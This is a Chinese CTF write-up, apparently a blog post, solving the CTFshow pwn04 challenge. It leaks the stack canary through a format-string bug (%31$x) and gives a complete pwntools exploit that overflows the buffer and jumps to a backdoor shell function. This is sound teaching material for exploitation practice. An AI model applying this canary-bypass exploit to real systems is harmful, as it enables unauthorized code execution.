当前位置: 首页 > news >正文

Pwn刷题记录(不停更新)

1、CTFshow-pwn04(基础canary)

​ 好久没碰过pwn了,今天临时做一道吧,毕竟刚联合了WSL和VSCode,想着试着做一道题看看,结果随手一点,就是一个很少接触的,拿来刷刷:

​ 先查看下保护:

root@MSI:/home/g01den/Temp# checksec pwn
[*] '/home/g01den/Temp/pwn'Arch:     i386-32-littleRELRO:    Partial RELROStack:    Canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

​ 除了NX之外,似乎就只有 Canary了。反编译看看:

​ 有用的只有vuln函数:

unsigned int vuln()
{int i; // [esp+4h] [ebp-74h]char buf[100]; // [esp+8h] [ebp-70h] BYREFunsigned int v3; // [esp+6Ch] [ebp-Ch]v3 = __readgsdword(0x14u);for ( i = 0; i <= 1; ++i ){read(0, buf, 0x200u);printf(buf);}return __readgsdword(0x14u) ^ v3;
}

​ 发现了个事儿,for循环会执行两次,所以这里采用第一次不溢出,通过格式化字符串漏洞对Canary的值进行泄露,之后就可以在合适的地方填入canary的值来绕过canary保护了。

​ 因此,思路就很明确了。

​ 之后通过disass vuln 查看汇编代码,发现了重要的一个内容,它在 ret 之前进行了一次异或,且指定的内存为[ebp-0xc]:

   0x08048677 <+73>:    nop0x08048678 <+74>:    mov    eax,DWORD PTR [ebp-0xc]0x0804867b <+77>:    xor    eax,DWORD PTR gs:0x140x08048682 <+84>:    je     0x8048689 <vuln+91>0x08048684 <+86>:    call   0x8048450 <__stack_chk_fail@plt>0x08048689 <+91>:    leave  0x0804868a <+92>:    ret 

​ 由此可知,cannary存放的地址就是[ebp-0xc],看一下:

1f:007c│-00c 0xffffd56c ◂— 0x7493ea00
20:0080│-008 0xffffd570 —▸ 0x8048768 ◂— dec eax /* 'Hello Hacker!' */
21:0084│-004 0xffffd574 ◂— 0xa0000
22:0088│ ebp 0xffffd578 —▸ 0xffffd598 ◂— 0

​ 目测cannary的值为0x7493ea00,那么, 想要泄露这个值,需要使用格式化字符串来泄露,那么,来判断下对不对吧,我们输入%31$x即可泄露:

在这里插入图片描述

​ 根据这俩进行计算,可得到偏移,结果是0x7c/4=31。

​ 之后就是具体进行溢出了,计算溢出的长度也比较简单,这里直接上答案吧,116字节,不过,第100到104为canary的值。

​ 由于存在后门函数,所以exp如下:

from pwn import *#context.terminal = ["tmux", "splitw", "-h"]
Locale = 0if Locale == 1:io = process('./pwn')
else:io = remote('pwn.challenge.ctf.show',28203)context(arch='i386', os='linux', log_level='debug')io.recv()
payload1 = b"%31$x"
io.sendline(payload1)
io.recvuntil(b'\n')
canary = int(io.recvuntil(b'\n'),16)getshell_addr = 0x0804859Bpayload = b"a"*100 + p32(canary) + b'a'*12 + p32(getshell_addr)
io.sendline(payload)io.interactive()

相关文章:

  • 初中英语优秀作文分析-005How to Plan Our Life Wisely-如何明智地规划我们的生活
  • Java短路逻辑运算符
  • 个人成长的利器:复盘教你如何避免重蹈覆辙
  • windows端口被占用问题,杀死进程
  • Kafka 最佳实践:构建高性能、可靠的数据管道
  • 免费一年SSL证书申请——建议收藏
  • 【机器学习300问】127、怎么使用词嵌入?
  • 如何在 Ubuntu 12.04 VPS 上安装和配置基本的 LDAP 服务器
  • Cesium如何高性能的实现上万条道路的流光穿梭效果
  • python3.9安装pysal库
  • 高通安卓12-固件升级
  • 创意产业如何应对AI的挑战。
  • 超越YOLOv8,飞桨推出精度最高的实时检测器RT-DETR!
  • 【CPP】归并排序
  • 网络知识 思维导图
  • 2017年终总结、随想
  • egg(89)--egg之redis的发布和订阅
  • ES6--对象的扩展
  • IOS评论框不贴底(ios12新bug)
  • JavaScript服务器推送技术之 WebSocket
  • JS+CSS实现数字滚动
  • node和express搭建代理服务器(源码)
  • PAT A1092
  • Python进阶细节
  • RxJS: 简单入门
  • Solarized Scheme
  • Work@Alibaba 阿里巴巴的企业应用构建之路
  • 彻底搞懂浏览器Event-loop
  • 悄悄地说一个bug
  • 使用 Node.js 的 nodemailer 模块发送邮件(支持 QQ、163 等、支持附件)
  • 使用 Xcode 的 Target 区分开发和生产环境
  • 数组大概知多少
  • 学习Vue.js的五个小例子
  • 怎么将电脑中的声音录制成WAV格式
  • Java数据解析之JSON
  • 测评:对于写作的人来说,Markdown是你最好的朋友 ...
  • ​浅谈 Linux 中的 core dump 分析方法
  • ​软考-高级-系统架构设计师教程(清华第2版)【第15章 面向服务架构设计理论与实践(P527~554)-思维导图】​
  • ​香农与信息论三大定律
  • # Redis 入门到精通(八)-- 服务器配置-redis.conf配置与高级数据类型
  • # SpringBoot 如何让指定的Bean先加载
  • # 深度解析 Socket 与 WebSocket:原理、区别与应用
  • #pragam once 和 #ifndef 预编译头
  • #QT(串口助手-界面)
  • #我与Java虚拟机的故事#连载18:JAVA成长之路
  • (非本人原创)史记·柴静列传(r4笔记第65天)
  • (附源码)ssm高校志愿者服务系统 毕业设计 011648
  • (论文阅读22/100)Learning a Deep Compact Image Representation for Visual Tracking
  • (删)Java线程同步实现一:synchronzied和wait()/notify()
  • (万字长文)Spring的核心知识尽揽其中
  • (转)ORM
  • (转)视频码率,帧率和分辨率的联系与区别
  • ./configure,make,make install的作用(转)
  • .config、Kconfig、***_defconfig之间的关系和工作原理
  • .NET 2.0中新增的一些TryGet,TryParse等方法